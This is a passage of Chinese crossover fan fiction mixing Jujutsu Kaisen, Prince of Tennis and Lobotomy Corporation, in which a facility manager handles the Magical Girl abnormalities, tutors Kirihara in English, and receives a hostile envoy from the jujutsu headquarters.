“禅院大人,”他恭敬地低下了身,几乎要低微进了尘埃里,“很荣幸在这里见到您。”
果然,五条悟那个眼高于顶,充满叛逆的大少爷根本不屑于在他这样的小人物身上停留视线,暂且安全了。
因为近在咫尺的对话声,“睡美人”终于被吵醒了,白天和愤怒侍从高强度拉练一整天的切原赤也眯着眼睛,疑惑的看着蹲在自己身边的一黑一白。
“真田副部长……?”他下意识以为是他们家那个负责的前辈叫醒了睡着的他,刚想说声抱歉就看清了面前人的脸。
“是你们啊……”孩子的语气低落,他很想念前辈们,无论是哪一个。
“所以,你们怎么在这?”小卷毛打了个哈欠,奇怪的看着穿着裙子的“高人”之一。
他不是说他忙去了吗?还换了一个人来帮忙……话说那边那个熟悉的背影不会就是那个来帮忙的人吧?他是不是也穿着裙子。
好怪?他真的睡醒了吗?
看着孩子试图去揉自己的眼睛,X拍了拍他的肩膀:
“那就是直哉,你没看错,”注意到了孩子怔愣的表情,X补充,“你也不是在做梦,不,你就当成是梦好了。”
说着,深感自己上不了场的黑发少年就开始往这个不清楚失态发展的孩子身上套饰品,毕竟他只是一个常规意义上的普通人。
至于武器……想到孩子经常和愤怒侍从打网球,X有些犹豫地掏出了一颗灰色的小球。
切原应该发挥不了「新星之声」的作用,但是作为A级武器,祂的硬度很高,让切原把祂当球打出去也不是不行……
“老子觉得你最好不要去动那东西。”五条悟幽幽地对着不知名加茂说。
羂索闻言收回了捡拾机械臂的手。
X这才注意到,在某一个小角落,不仅蹲着那个被排挤的陌生人,还瘫着一个可怜的,被大卸八块的小帮手。
小帮手的红色豆豆眼在注意到X终于注意到祂之后猛地亮了起来。
在豆豆眼亮起来的一瞬间,一直沉默着的「弄臣」也动了。
原本站位随意的几人被强制分配了位置,捡起「小帮手」的X被分配去了最后,和安吉拉站在一起。
蓝发女性看着那个圆滚滚的小机器人,小机器人看着这个有着比自己高了许多的知性,却依旧不被承认为人类的同类。
很想伸出「手」去安慰一下她,可是祂的「手」全部离家出走了,祂只能像一颗水煮蛋一样被人抱着。
而那边,「弄臣」已经发动了攻击。
X以最快速度给五条悟和羂索塞了EGO武器,毕竟咒力对于异想体这种存在,实在起不到太大的用处。
不出意料,五条悟与那名加茂的攻击,对于「弄臣」来说几乎无用。
“去打雕像。”观战的X看着几乎无敌的「弄臣」,这和天启鸟的鸟蛋过于相似了。
已经习惯了被命令的禅院直哉下意识朝着离他最近的雕像砸了过去。
出乎他的意料,雕像很脆,被他攻击几下就会开裂,而等
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雕像彻底消失的时候,站在他们身后的羂索突然失去了自己身体的控制权。
“魔法少女!登场!”
他感受着自己口中不受控制的话语。
他的感官外像是蒙上了一层轻纱,他可以感知到身体中的一切,可是没法操纵身体,这种感觉很像是夺舍。
只不过这次是别人来夺舍他羂索。
随着雕像一个个打破,被「夺舍」的人越来越多,到了后来,干脆变成了「弄臣」vs「魔法少女联合」。
与他们原本费力的攻击不同,魔法少女像是有着对「弄臣」特攻一般,没过多久,「弄臣」尖角帽上的铃铛猛烈的颤动了一声,便彻底沉寂下去。
「请您……不要让我再度听到祂们的呼喊了。」
说完,「弄臣」便消失在了原地,只留下了一个弄臣形象的小布偶。
随着「弄臣」的消失,原地出现了四颗蛋,那是原本陷入疯狂的魔法少女。
而被强制「征调」来的倒霉蛋一二三四也回到了原来的位置。
羂索一会到原本的小屋中,也不管加茂家下派的任务了,顶着一起出任务的同伴狐疑的目光离开了。
他不能再出现在这里了,他需要一句新身体,一具远离六眼的新身体。
尤其……远去的“加茂”捏了捏手中的机械臂,果然……孩子就是孩子,这种珍贵的东西也会随地乱丢。
*
“切原君?你睡了吗?”X站在小倒霉蛋的房间外,敲了敲,里面一片寂静。
跟着他来的禅院直哉用力敲了两下门,可是在近乎砸门的力道下,门内依旧安静。
“他怎么睡的那么死?”禅院直哉挠头。
“把门踹开。”X发出法外狂徒的声音。
法外狂徒的帮凶,在声音没被脑子处理之前,身体就做出了回应。
砰的一声后,门开了。
床上安静的躺着一个皮肤红润的孩子。
“他怎么这么红?!他开术式了?!”禅院直哉看着白发红肤的卷毛少年。
现在的切原赤也红的简直像一个红温的白种人。
……
迷迷糊糊间,切原赤也睁开了眼睛,他这是怎么了?
他好像记得……有小丑……还有什么来着?
总之他好像被愤怒冲昏了头脑,开启了恶魔模式……好像痛扁了那个小丑一样装扮的人一顿。
坏了!人不能有事吧?!主要那颗小球实在过于贴合他的心意了,也不知道那是什么牌子的球。
等一会问问收留他的好心前辈吧,话说这里是哪里?医院?
好心前辈正在看着小孩的体检报告发呆。
“切原君是普通人?”黑发少年问常驻咒术师。
常驻咒术师——禅院直哉现在表示匪夷所思。
这要是普通人,他就倒立给自己爸爸洗头!
经过了之前的工作,他也学会了看这里的报告,也知道他们的标准与外界截然不同。
可是这个小倒霉蛋的身体素质与普通的咒术师毫无差别,要是红温状态下,更是提升了一大截。
问题是他不是自称普通人吗?!
禅院直哉总觉得那个小子靠着这一手装普通人混到了不知多少的优待!
X也见过真正普通人,而不是自己家里的普通人的身体报告。
总之,这个小孩的身体报告不对劲,更何况按照检测结果,这个孩子拥有自己的……按照咒术师的说法就是术式,只不过与他们的生得术式有着一些差别,更像是后天习得的类型。
配合上他们直逼咒术师的身体素质……他们真的是打网球的吗?
真的只是一个热血上头,血压飙升的“普通人”的切原赤也迎来了“朋友”的探视。
“「弄臣」和我说了,”蒙着眼睛的女孩说,“你夺回了我的勇气,谢谢你。”
“我想报答你,可是我不知道怎么做,不过王后建议我可以帮助你。”
“帮助?”少年有些迷茫的看着胜券在握的少女,她的脸上写满了胜券在握。
……
“切原君,你需要控制一下……”X推开门,手里拿着切原赤也的检查单,话语在见到门内的场景时,戛然而止。
“……激动时的血压……”
黑发少年慢半拍地把下半句话补全,为什么魔法少女都挤在这里?
而且做出了一副特训的样子,看起来想把这个一激动血压就会飙升的小可怜培养成新一任魔法少女的样子?
原本本应该躺在床上修养的少年此时正一脸被忽悠住的样子听着魔法少女们传授的“战斗经验”。
切原赤也深感这些战斗经验可以为自己开发新招式提供灵感,听得格外认真。
可是听着听着,他总觉得有哪里不对,这种战斗经验对吗?说好的代表爱与和平的魔法少女呢?
渐渐的,少年墨绿色的眸子逐渐变成了一个转起来的蚊香圈,他……听不懂了,那些充满着“阿卡纳”之类的话语,是什么意思?英语吗?还是什么小语种?作为英语学渣的他听不懂啊!
“怎么样!我们派上用场了吧!”粉色的魔法少女注意到自家主管的到来,祂眼睛亮晶晶的看着满脸空白的少年。
X望着憎恶女王一脸求夸夸的表情,略微迟疑的点了点头。
17.魔法少女
“前辈,这样真的没有问题吗?”常驻地上的莱茵哈特感觉自己的头发都要因为眼前的景象竖起来了。
“先不要慌……主管让他们这么做,肯定有主管的道理。”橘发的女性面不改色十分淡定。
“可是前辈,你的声音在抖啊……”
“不戳穿我,你会死吗?!”克洛伊微笑着。
“说实话,前辈,我觉得我们两个都会死。”莱茵哈特闭上了眼睛,整个人身上写着“认命”。
让他们两个如临大敌的是一个临时成立的英语学习小组。
因为魔法少女试图传教,可是被传教的那个孩子完全听不懂祂们在说的是什么,特指祂们口中大量的专有名词和「舶来语」。
当然,这里他以为是英文的词汇,实际上算是从更遥远的都市「舶来」的。
总之,魔法少女打算补全这个漏洞。
于是……
“被选中的少年啊!让我们来学……你们这里是叫英语……?”热情洋溢的魔法少女说着,砰的一声,把祂从主管那里收集的书本拍在了书桌上。
“不管了,当当!看!我为你收集了关键道具!”
祂自顾自的说着,完全没注意到那个孩子越来越青的脸色。
救命啊!为什么在这里还要被英语荼毒啊?!
某个英语学渣恨不得将自己的眼睛闭的严严的,他不要看这个啊!
可是反对无效,他在一开始的怔愣迷糊过后,想起来了一切,包括这个眼睛亮晶晶的魔法少女本体是一条超大羽蛇这种事情。
先不提为什么只有游戏中才会存在的怪物会出现在现实,就说现在,他要是触怒,或者让眼前可爱的魔法少女伤心的话,他估计就会重温那只神奇生物了。
完全不想直面怪物,还会真正体验濒死感觉的切原选手选择学习。
不就是学习嘛,万一她们就把自己教会了呢?到时候他回去会让每一个网球部的成员对自己刮目相看!
于是,一个愿意教,一个愿意学,两边一拍即合……没合上,憎恶女王的教学生涯折戟于切原赤也这个英语白痴。
一个魔法少女失去色彩瘫在座位上,祂的对面坐着一个挠头的海带头,墨绿色的眼睛里透出清澈愚蠢的光芒。
切原赤也努力了,他真的拿出所有的手段和力气来学习了!可是……学不会啊!他真的听不懂!
好在,魔法少女不止一个,于是二号魔法少女上了!
面容成熟的忧郁女性拉过另外一把椅子,坐在了几乎要变一摊的憎恶女王身边。
骑士有为王后分忧的责任,这很合理。
侍从来给骑士帮忙,国王压轴登场。
“我有一种不好的预感。”
“巧了,我也有。”
是的,沉睡于虚空的「虚无弄臣」也有,祂刚刚放任自己沉沉睡去,就再次感知到了,那座命定的「宫廷」对自己的呼唤。
被安置在X房间床头柜上的黑白色小丑玩偶四肢微微动了动,随即,黯淡如同最沉的墨色的“眼睛”里流出了同样暗淡的“眼泪”。
「为什么……?」比起为魔法少女们悲伤,弄臣更为疑惑,祂不是刚被镇压吗?为什么祂还没喘一口气,就再次被呼唤了?
这对吗?!
浓黑色的物质缓慢聚集在玩偶的身边,渐渐的,「虚无弄臣」出现了。
疑惑的弄臣决定出去看看到底是怎么回事,因为祂不是出现在祭坛,这是一次完全不对劲的召唤。
随着祂的移动,尖角帽边沿的两颗大铃铛发出清脆的碰撞声,向每一个听力正常的人昭示着祂的存在。
秉着祂与魔法少女们的感应,弄臣走的很顺,直到在经过一个拐角后,祂看到了两个还正在闲聊的,属于那个人的仆从们。
完全不知道在异想体眼中,自己突然从员工被降级到仆从的二人还在心惊肉跳的看着那个英语笨蛋和WAW级魔法少女一二三四互相折磨。
“前辈,你听没听到什么声音?”
“好像是铃铛?”
橘发女性从那边极具冲击力的场景中抽出神来,就听到了那道极为明显的铃铛响声。
可是她第一反应是一无所有或者波迪从哪弄了一个带铃铛的项圈。
直到……有什么人拍了拍她的肩膀。
“怎么了,是发生什么事了吗?”她嘴里回应着,她还以为是哪个文职,因为只有他们才很拘谨的不直接来叫她的名字。
可是回应她的依旧是一片沉默。
奇怪?怎么没有回应?橘发女性这才将视线从那边移开,扭头看着那个“文职”……
见鬼了!这才不是文职!!
与那些用字母加编号的一次性文职人员不同,出现在克洛伊眼前的是一个黑白撞色的小丑。
只不过是ALEPH级的“小丑”——「虚无弄臣」!
依旧在关注着那边的莱茵哈特完全没有注意到自己前辈看到了什么令人心跳骤停的场面,他只是感受到令人敬重的克洛伊前辈突然僵住,甚至连呼吸都要停止了。
由于她的反应过于奇怪,莱茵哈特也顾不上那边了,奇怪的转了回来。
“嗬!”奇怪的气音从他的嗓子眼里挤出来,一转身一个特殊的ALEPH级异想体站在那里还是太有冲击力了,对于他这种不算太熟练的员工来说,对心脏过于不友好了。
弄臣看着这个捂着心口,看起来下一刻就会倒地的弱气仆从,深感不行,这个人没有进入「宫廷」的资格。
要不然一会去找那个人觐见一下,干脆把这个脆弱的人类开掉吧。
这样想着,弄臣看着脸上还能绷住的克洛伊,点了点头,这个还行。
完全不知道自己被异想体自顾自列上裁员名单的莱茵哈特捂着自己调动过快的心脏,惊疑不定的看着自己前辈。
可这个弱气的青年却发现自己前辈的眼中吐露出来的情感与自己相同,她似乎也不知道这里发生了什么事情。
X原本呆在地下,正在和瞬移回来的
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五条悟与前员工禅院直哉研究怎么把切原赤也这个倒霉小孩送回去。
结果代表着地上建筑的危险等级的警报突然响了,声音很急切,就好像有三鸟在后面追似的。
等看清楚报警器上显示的内容,X发现,怪不得警报响成那样,这和三鸟在后面追完全没有差别,这是四个魔法少女在后面追。
黑发少年示意返回十年后计划暂停,有一些突发的事情发生了。
禅院直哉看到了那个大大的小丑帽子,原本相貌优越的脸都绿了,上面的表情也开始微微扭曲起来。
他颤抖着声音:“主……大人,我还会像上次那样吗?”
他就直说了!他不想穿旗袍!当然,只是说在心里,他对着这位与自己年龄相仿的少年,总是有些发怵。
不对!这是尊敬!他对自己说,这才不是畏惧,他只是发自内心的尊敬主管而已!
对,尊敬,他才不是因为自己活着的权利被那位大人整个抓在手中,对,尊敬。
所以,金发的少年完全没有得到自己想要答案的期望,他只是下意识问了。
甚至……他问出去之后,就下意识后悔了,他为什么要多嘴呢?
“不用了,”X看着小丑图标旁的数据,“这次和上次不一样,不需要魔法少女。”
这次「虚无弄臣」是自己来的。
*
四位魔法少女已经倒下……接下来,英语成绩的毁灭者,魔法少女的克星切原赤也迎来的是——第五位魔法少女!!
其实,就是黑白配色的弄臣将失去梦想,怀疑人生的魔法少女挪走了,自己坐在那里而已。
现在的祂已经明白了自己目前的使命,那就是为「宫廷」的和平做出自己的贡献,打倒这个在英语这个学科上,就连「索求智慧的稻草人」看了都会摇头走开的大反派!
等X到场的时候,他愕然发现,之前与自己交谈还十分平和的「虚无弄臣」看起来想要使用物理手段来打倒这个一脸问号的可怜孩子。
“祂们在干什么?”并不了解事情发展全过程的金眸少年望向观看全程的员工二人组。
只不过他们的状态有些奇怪,像是恐慌过后,被人把理智打回来那样,恍恍惚惚的。
“……是您啊。”克洛伊的嗓音飘忽,她示意X去看那边分别坐着四个魔法少女的椅子。
“她们的教学不顺利吗?”
在某种情况下低估了切原赤也的X以为是自家异想体的问题,毕竟他其实本来也对这个企划没有什么太大的期望。
“不,祂们已经做的很好了,只是……切原君实在……”
她欲言又止,止言又欲,最后对着自家聪明到不像人类的主管比了一个脑子不好的动作。
克洛伊觉得就算她说出来,主管也不会明白,毕竟她之前也没见过这种,怎么教都教不明白的偏科笨蛋。
眼见第五个魔法少女即将破防,X觉得为了异想体的健康,以及切原赤也都生命安全,还是自己来吧。
18.教学方法
“家主,”穿着深色和服的中年人恭敬的弯下脊背,向坐在房间深处的身影行礼,“令您蒙羞的,那个叛逃家族的加茂一树已经找到了。”
隐于深处的男人闻言抬眼看向这个来为自己分家成员善后的分家家主。
“为什么他没和你一起过来谢罪?”
加茂家主语调阴冷,分家的家主这时几乎将额头贴到地上。
“万分抱歉,只是我们去晚了,我们发现他的时候,加茂一树已经死了。”
加茂家主浓黑的双眼中没有太多的情绪:“他死了?”
“是的,家主,加茂一树的头颅被人打开过,里面的大脑不翼而飞,他的头颅如今只是一具空壳。”
跪在下首的分家家主还想说些什么,却见他们的家主挥了挥手,示意他退下。
“那我就先告退了。”
虽然不知道自己为什么逃过一劫,但是分家家主还是保持着极轻的脚步,几乎没有发出任何声音的退了出去。
直到分家家主的身影彻底消失,就连侍奉的侍女都远远的走开,坐在加茂家主身侧的老者才开口。
他已经很老了,就连嗓音都带着颤颤巍巍的味道:“家主……是那个人吗?那个令加茂家处于风暴漩涡的男人回来了?”
“长老,我和你想到一处去了,”黑色长发束于脑后的中年男人沉声,“加茂宪伦……难不成真的是他回来了?”
“您不必忧心。”加茂长老看着这个被自己看顾着长大的孩子,有着家传术式——赤血操术的孩子。
对,孩子,无论他的年岁几何,在他的眼里,加茂家的成员都可以算作“孩子”。
“加茂宪伦已经死了,这是没有争议的事实,无论这次夺取加茂一树大脑的那个东西是什么,它都不会是加茂宪伦。”
“在这件事上,我们加茂家才是真正的受害者。”
年迈的老者拄着拐杖起身,因年龄问题而混浊的双眼却锐利的看向某处。
“宪纪,你为什么在这里?”
面色苍白的孩子被身手意外矫健的长老从门外角落扯了进来。
“父亲……父亲让我结束训练后来这里……”
孩子的脸色因长老的责问愈发苍白,他本来就损失了不少的血液而虚弱,看上去马上就要晕倒了。
长老看向这孩子的父亲,见家主点头了才将这个可怜的孩子松开。
“你今天什么都没有听到,知道了吗?宪纪。”
孩子那充满威严的父亲这样说着,孩子听出了他的未言之语,孩子的一言一行关乎着他的母亲,那个可怜女人的安危。
“父亲,我知道了。”
*
立着数个帷帐的房间内,一片昏暗。
“想必诸位都已经知道了我们为何进行这次会议。”
一道苍老的声音从最中心的帷帐后传出。
“加茂家出现了死者,死相……”他顿了一顿,像是在与场外的人交流了一番,“与辅助监督三田一致。”
此话一出,帷帐后便传来了一阵窃窃私语。
“这是一次狩猎咒术师及其相关人员的行动,而且……总监部接到了一份报告。”
“如月车站出现了新的受害人,他还活着,只不过……他在未经我等允许的情况下,接受了其他人的庇护。”
“其他人?”
“禅院长老,想必你对这个其他人很熟悉吧……听说直哉至今还留在那里呢。”
原本正在后面看加茂家笑话的禅院长老突然被点名,他微微愣了一下:“你这是什么意思?”
他上哪里知道直哉在哪里?最近这小子神出鬼没的,十天半个月也见不到一面。
就连他们家主也天天在房间里对着一个被他亲自抱回来的桌子研究,也不知道他们父子俩是哪根筋搭错了。
不过……之前直哉出门的时候,好像说过他是去帮五条悟那小子的忙去了。
反正他已经被拉下水了,五条家的也别想跑。
“我家直哉可是老实孩子,他是为了帮那位六眼神子才出的门,他可与那个其他人没有关系。”
被拖下水的五条家:“?!”
不是,为什么也有他们的事啊?他们家神子明明一直勤勤恳恳的出任务,再说了,他禅院直哉什么水平,还能去帮五条悟的忙?!
不如说,五条悟有什么可让他帮忙的?去排队买甜品吗?
“悟少爷一直在高专。”他言简意赅的说。
可这时,朴实无华的通过电话,远程开会的二长老却突然听见了大长老猛地咳嗽了一声。
他疑惑回头,就看见大长老突然像面皮抽筋一样对自己挤眉弄眼,示意他跟自己出去。
他甚至扯了三长老出来顶上,一脸懵的三长老被按在了开了免提的电话前,看着自己的两个哥哥蹲在一边说小话。
二长老刚想开口说什么,却被大长老打断:“直哉那孩子的确是被悟叫过去的。”
“啊?”
“你先别啊,你先听我说。”
大长老用最精简的语言把自家神子六眼变异,外加最近因为那个“其他人”出现的变故一起讲了。
“所以,兄长的意思是……我们要脱离总监部?”
“笨啊你,你只要知道,我们只要保持中立就好,悟与那个人交好,我们不能拖孩子后腿!”
“哦哦!”明明上了年纪,脸上还写着清澈的二长老点了点头,他悟了!
两个长老对账完成,正打算把三长老换回来,可是那边已经将电话切断了,他俩晚了一步,会议结束了。
“你们怎么这个表情?”三长老疑惑。
“你们开完会了?”
“开完了,他们说要让那个异数入学京都高专,看在他没有做出什么过激的行为,就先不判刑了。”
三长老边理衣服边说,丝毫没注意到自己哥哥越来越难看的脸色。
“你们怎么这个表情,吃坏肚子了?”
“你答应了?”
“是啊?这又不是什么大事,不就是招个学生。”
招学生,招学生,咋没让你去京都高专上学呢,他刚刚也是手欠,为什么要让这个蠢货去开会!!
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“你们俩到底怎么了?”三长老挠着头,看着自己两个抱头蹲下的哥哥。
*
完全不知道自己被安排“入学”的黑发少年正在与某一位被五位魔法少女盖章认证的“邪恶”作斗争。
为什么就是听不明白呢?
无论是自己,亦或是生活中接触的有一个算一个都算聪明人的X发自内心的疑惑了。
为什么呢?
“……所以,这里应该用这种语态。”已经去教大学生的X拿出了教幼儿园学生的态度,为了爱与和平,他要直接把知识塞进切原赤也都嘴里。
切原赤也拒绝了投喂,并发出了灵魂疑问:“为什么啊?”
好问题,X也想问,这不是看一眼就知道的事吗?
“过去……语态。”切原赤也说……不对,切原赤也没说,说话的是一无所有,祂都会了。
“啊啊啊啊!为什么连这只狗都学会了啊?!”某个小海带抱头,整个人瘫在桌子上。
X看着某只眼睛布灵布灵盯着自己的一无所有,感觉自己的教育方针似乎应该需要更改一下。
“切原君,我记得你曾经说过,只要及格就好吧。”
“对……”卷毛小孩神色恹恹,手指按着圆珠笔,让它滚来滚去。
只不过,让他及格这件事已经难倒不少人了,他对自己也有自知之明,他只要及格就好,不奢求别的了。
不知道是不是切原的错觉,他似乎看到了辅导自己功课的前辈眼中闪过了什么。
他没看错!好朴实无华的方法!
“切原君,我想过了,按照正常的教学方式,你是无法理解的,所以……来看电影吧,培养你的语感。”
“至于时间,你不必担心,你会拥有充足的时间,哦,对了,不需要担心视力问题。”
说到最后,金眼睛的前辈似乎很轻的笑了一下。
而后,门被重重合上,电视机随之亮起,此时,孩子还不知道他将遭遇什么惨绝人寰的事情。
*
莱茵哈特和克洛伊目送被主管领去调整过时间的房间,再见了,切原勇士,我们会想念你的。
虽然估计按他们的时间计算,只经过两三个小时,小孩就会被主管放出来了。
现在的问题就是……这些魔法少女该怎么处理了。
意外召唤而来的虚无弄臣并没有因为事态解决而消失,此时祂正在躲避要去咬祂帽子尖尖上铃铛的一无所有,两个ALEPH级异想体发出了连串的铃铛响声。
可是,在嘈杂的背景音中,门铃响了。
“奇怪?五条君不是没出门吗?”莱茵哈特疑惑的说,快步去门前,打开了门。
门外是一个面容严肃的老头,他穿着一身西装,浑身散发着一种精英气质。
嗯,很像他们的一次性文职人员。
这时,Delta先生拿着一只小水壶从院子里平平无奇的经过,他要去浇花。
结果发现门外有人,他无意间一瞥,被吓了一跳,他的第一反应是——为什么主管要招老头来当文职啊?
19.意外事故
陪同那位被误解为上门求职的“文职人员”的司机也在暗中打量着Delta先生。
这个打扮奇怪的男人在十分正式的西装外,套上了一条绿色的围裙,看起来不伦不类的。
他的手里拿着一个长相奇怪的……这是个桶还是壶?司机先生有些辨别不出来,可是他知道一件事。
那个不明容器中,散发出一股让人无法忽视的腥气,那……是动物血液或者尸体的味道。
而且……司机先生切身体会过,人类尸体与动物的味道有着微妙的区别,那个容器里,盛放着的绝不是动物!
“您好?您有什么事情吗?”疑似变态杀人魔的围裙西装男脸上有些疑惑,随着他的动作,司机先生清晰的听到了容器中液体晃动以及……内容物在里面滚来滚去的黏糊声音。
Delta先生见着这位不知名访客的脸色越来越白,有些摸不到头脑,这是怎么了?低血糖吗?
他犹豫着靠近了司机先生,手伸进了口袋里,那里面有他早餐时间顺手拿的一把糖果……奇怪,怎么摸不到?
本就自带一种精英感的Delta先生完全没注意到,因为他的疑惑,被人误解成了什么样子。
司机先生看着越来越近的“杀人魔”,看到了他脸上诡异的神情,以及他伸进口袋的手。
刚刚那位总监部的,位高权重的筱田先生对自己说过的话,开始在司机先生的脑内回荡。
「老夫要是出了意外,你就立刻按下这个按钮。」
出身高贵,只是被自己爷爷塞进来混资历的司机先生暗自咽了一口口水,他的裤子口袋里放着那个直通总监部的呼叫器,只要被按下,总监部就会得知他们的“先礼”计划失败,进而进行到“后兵”。
可是……筱田先生,您也没说过,这里还有编外的诅咒师啊!!
身为可爱文职的Delta先生完全不知道自己被扣了一个诅咒师的帽子,他只知道自己要到时间了。
娇嫩的花朵要是不能及时得到满足……那他也要进到“小水壶”里去了……不,更大概率是直接被吃掉,连进到壶里的资格都没有。
是的,他浇花的“水”有些特殊,那是他因各种意外而死去的同事们。
为了资源利用最大化,以及照顾某些异想体的特殊生活习惯,这些遗留下来的肢体就是祂们最完美的饲料。
当然,他们们中的一部分已经复活了,同样是这里的职员,员工与文职待遇完全不同,文职拥有庞大的数量,他们也说不准什么时候轮到自己复活,而员工基本上死完就会复活。
不过,不管是什么身份,那些或完整或破碎的肢体都会通通喂进异想体的肚子。
尤其是今天他要去“浇”的花,陆生鮟鱇对于肉食的需求量极大,所以他“浇花”的壶也很大。
只不过他们内部的称呼一直是“小”水壶,不知道这个名称是谁第一个说出来的,总之是传下来了。
终于摸到糖果的Delta先生精准的将糖扔向司机先生,对他略微一点头,拎着“小水壶”快速离开了。
不是他吹,他凭一己之力在这里活了好久了,Delta已经换了好多人了,他可是一直在这里,他甚至和很多员工都混到脸熟。
说到Delta开头的文职,基本第一个想到都是他,他可不能死在“浇”花上。
司机先生下意识地接住了那颗紫色糖果,望着“杀人魔”匆匆离开的背影,一时不知道他是什么意思。
“筱田先……”啊,他已经进去了。
筱田秀明怀抱着任务而来,他虽然是辅助监督,可他出身禅院分家,虽然比不上真正的禅院,但是,上面派他来也说明了这次任务的重要性。
完全不知道禅院家主的态度,筱田秉承着一贯的高姿态挑剔的看着开门的莱茵哈特。
“老夫是筱田,筱田秀明,这次代表着……”他的话还没说完,就听到莱茵哈特的身后传来了一声巨响。
声音极大,将这个不再年轻的辅助监督震得耳朵发出了轻微的嗡鸣。
发生什么事了?筱田的第一反应就是那个异数为了反抗总监部搞的鬼。
可莱茵哈特依旧面色不变,就像爆炸不是在他身后一样。
“您好,我们这里人手已经够用了,您这种……富有经验的先生不如考虑别家?”
“老夫不是来应聘的!”
“其实我们也不需要推销……”
“老夫不是来卖东西的!老夫是总监部的代表!”
总监部?这是什么新的电视台或者新闻媒体吗?
“很抱歉,我们也不需要订购……”
筱田秀明简直要被这个愚蠢的小子气个倒仰:“老夫是代表咒术界来的,让安诺恩·安吉罗斯出来见我。”
刚刚脸上还挂着营业微笑的青年闻言,目光一冷,明明人还是刚刚的那个人,可是筱田却突然意识到了,这个人,绝不是个弱者。
不是弱者的莱茵哈特即便如此依旧保持着微笑:“您是不是语误了?我家主人可与咒术界毫无瓜葛。”
“是吗?”上了年纪的辅助监督突然拿出了一张从远处拍摄的照片。
那是身份被登记为安诺恩的少年向夏油杰告别的照片,而略矮的,有着一头黑色短发的少年手中正捧着一个四四方方的东西。
具体是什么由于距离过远已经分辨不清,可是筱田又拿出了一张近距离的照片。
那是他们特意去了子取箱的发源地,那个在明治时期,大批量制作子取箱的村落中拍摄的残存的“子取箱”。
当然,这些阴邪的箱子最多只有「六封」,已经全数失效。
可这已经可以说明,莱茵哈特口中的他家主人与咒术界毫无关系的说法是无稽之谈了。
“如果你们依旧坚持你们口中可笑的说法,那么……”倨傲的辅助监督如是说到,言语间尽是威胁之意。
筱田耍尽了威风,他斜睨着这个来开门的青年,准备接受这个乳臭未
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干的小子的谢罪。
莱茵哈特也如他所想的张口,筱田的面色稍缓,可下一刻,这个弱气的青年像是受到了身后的猛烈撞击一般,整个人不受控制的向筱田扑了过来。
筱田预想中的谢罪绝不是这样,常驻总部,有些四肢不勤的辅助监督瞳孔骤缩,这个小子想要干什么?!
完全不知道自己面前老头心理活动的莱茵哈特只感受到一股力道猛地重击自己的后腰,饶是他也无法保持平衡,连带着重击他的存在一起朝筱田压了过去。
事情是这样的,虚无弄臣原本在和一无所有就尖角帽上的铃铛纠缠,结果在祂们“秦王绕柱”时,一无所有绊上了瘫坐在一旁的憎恶女王留在地上的法杖。
这只在外界看起来很普通的“狗”就这样加速扑向了匀速运动的虚无弄臣。
一无所有目前因为反向认知滤网的作用,看起来正常,但是祂的本体依旧是那只五官乱长,四肢……三肢是一些奇怪东西的异想体。
本来虚无弄臣是可以闪开的,可是祂的同胞们充当了最佳的障碍物。
就这样,可怜的尖帽子小丑就这样被一无所有头上的手抓住了帽子上的铃铛。
并在这只狗子不轻的重量下,遵循着这个世界的自然规律,在惯性的作用下,被扯着一起飞了出去。
完全不知道两个A级在自己背后搞了个大的的莱茵哈特就这样被撞了出去。
刚刚平复下自己心情的司机先生,看着叠成一摞的几人一狗,瞳孔地震。
筱……筱……筱田先生啊啊啊啊啊!!
被压在最下面的筱田四肢微微抽搐了一下,就安静了下来,看起来好像有点死了。
莱茵哈特感受着身下的肉垫,第一次感谢起这个来找茬的老头,要不然他估计会吐一口血……
坏了,这人还活着吗?
很幸运,筱田的咒力虽弱,但是他还是可以调动起来,在最要命的关头,他护住了自己的内脏。
其实还是要归功于那两位A级的重量级选手并没有动真格,只是很单纯的在“玩闹”,要不然再来十倍的咒力,筱田今天也得交代在这里。
*
“所以,你就把他们绑起来了?”
刚刚把切原赤也关进小黑屋的X刚刚来到地上,就看到了两个五花大绑的人。
自觉自己闯大祸的憎恶女王正在给筱田回血,他真的是差一点点就离开了这个世界。
“呵……你就是那个装神弄鬼的小子吧。”筱田的说话声断断续续的,但是他依旧保持着蔑视的姿态。
即便是这样,他也不能丢了禅院分家的脸面,面对这种野生咒术师,他还是第一次受这种罪。
“装神弄鬼?”
这个疑似文职人员的人在说什么呢?
“你完了,等老夫回去……呃!”筱田威胁的话被憎恶女王一个魔杖肘击怼了回去。
“这位先生!请您礼貌一些,我们应该一起维护一个文明且美好的世界才对!”
20.坦白从宽
筱田被绑着进入到了深不见底的“地下室”,他已经预想到了自己即将遭遇到什么。
出身禅院分家的他对这些事情毫不陌生,他并未太过慌张,总监部不会放弃他,禅院家为了面子也不会让他自生自灭。
果然,还没走上两步,筱田秀明就见到了熟人,或者说,单方面的熟人,他认识对方,对方不一定认识他。
禅院直哉,禅院主家板上钉钉的继承人,与自己这个咒力微弱,没有生得术式的分家辅助监督相比,是天差地别的尊贵之人。
而这位尊贵之人此时正跟在一位长发女性的身后,毫无愠色,岂止是面无愠色,筱田甚至能看出金发少年隐隐透出来的心虚……
心虚?!他们禅院家的少主为什么会心虚?他明明已经站在了最高点才是?
而走在前面,毫无敬畏之心的红发女人还在阴沉着脸,看上去像是想要将直哉少爷揍上一顿。
卡莉确实想揍这个黄毛小子一顿,主管只是稍微走开一小会儿,这两个咒术师就差点把那个房间爆破了。
卡莉被某个蓝头发的家伙搞得不厌其烦,没有人想去猜哪个咖啡价格更高,风味更好,那不都是苦苦的水吗?!
正巧,蓝头发的家伙和米歇尔一起搞出来了一份关于职员福利的新企划,她就发发善心过来转交给主管。
结果主管没见到,倒是见到了两个正在进行爆破作业的咒术师。
满眼都是自家少主的筱田秀明完全没注意到另外一位重量级人物,岂止是禅院家的少主,就连五条家的那位六眼神子,也被一同捉拿归案了。
五条悟试图挣扎,卡莉确实也被无下限挡住了,只不过……她不介意去寻求一位可以开「锁」的前任调律者的帮助。
被人强硬破开无下限的感觉称不上美妙,还是第一次被除了夜蛾以外的人抓包,这种体验还蛮新奇的,手里还拿着被自己拆下来的零件,五条悟心情颇好的想到。
只不过他的好心情在见到被绑着进来的,明显是咒术师的二人时,戛然而止。
尤其是筱田给他的感觉,让他想起来腐旧的老宅。
“直哉少爷!”忠诚的,为了家族鞠躬尽瘁的辅助监督不由喊到,“难不成您也被抓过来了吗?”
要不然禅院直哉的反应完全说不通,这位少爷的暴躁脾气就连他这样的边缘人物都一清二楚,怎么可能是附近的乖顺模样。
可恶的安吉罗斯!居然把他们家尊贵的直哉少爷搞成了这副模样!
